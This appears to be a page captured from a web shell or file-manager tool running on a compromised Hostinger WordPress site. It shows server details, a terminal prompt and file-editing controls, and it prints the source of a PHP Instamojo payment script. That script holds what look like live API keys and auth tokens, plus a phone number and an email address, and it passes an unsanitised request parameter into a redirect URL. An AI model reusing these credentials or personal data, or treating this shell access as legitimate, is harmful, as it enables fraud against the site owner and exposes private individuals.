🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux in-mum-web1643.main-hosting.eu 5.14.0-611.42.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 24 05:30:20 EDT 2026 x86_64
👤 User: u621169360 (621169360)
🐘 PHP: 8.2.30
🚫 Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail

💻 Terminal

📁 /home/u621169360/domains/agriexpertt.com/public_html/wp-admin
$

📄 insta_request.php

📁 Path: /home/u621169360/domains/agriexpertt.com/public_html/mobile/Flutter/insta_request.php
📊 Size: 2.33 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php

// Enable CORS headers
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: GET, POST");
header("Access-Control-Allow-Headers: Content-Type");

require_once 'db.php';

$recharge_id = $_GET['recharge_id'];


                                $ch = curl_init();
                                
                                curl_setopt($ch, CURLOPT_URL, 'https://www.instamojo.com/api/1.1/payment-requests/');
                                curl_setopt($ch, CURLOPT_HEADER, FALSE);
                                curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
                                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
                                curl_setopt($ch, CURLOPT_HTTPHEADER,
                                            array("X-Api-Key:1d669faa0e7a78c873be118a90ec32ab",
                                                  "X-Auth-Token:869077c17183783d03866dfd91e6ca30"));
                                $payload = Array(
                                    'purpose' => 'FIFA 16',
                                    'amount' => '9',
                                    'phone' => '7002484119',
                                    'buyer_name' => 'John Doe',
                                     
                                    'redirect_url' => "https://agriexpertt.com/mobile/Flutter/insta_response.php?recharge_id=$recharge_id",

                                    'send_email' => true,
                                    'send_sms' => true,
                                    'email' => 'zzubizubi@gmail.com',
                                    'allow_repeated_payments' => false
                                );
                                curl_setopt($ch, CURLOPT_POST, true);
                                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
                                $response = curl_exec($ch);
                                curl_close($ch); 
                                
                                $response_new = json_decode($response);
                                echo '<pre>';
                                print_r ($response_new);
                                 
                                header('Location:' . $response_new->payment_request->longurl);

                                
                                ?>
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨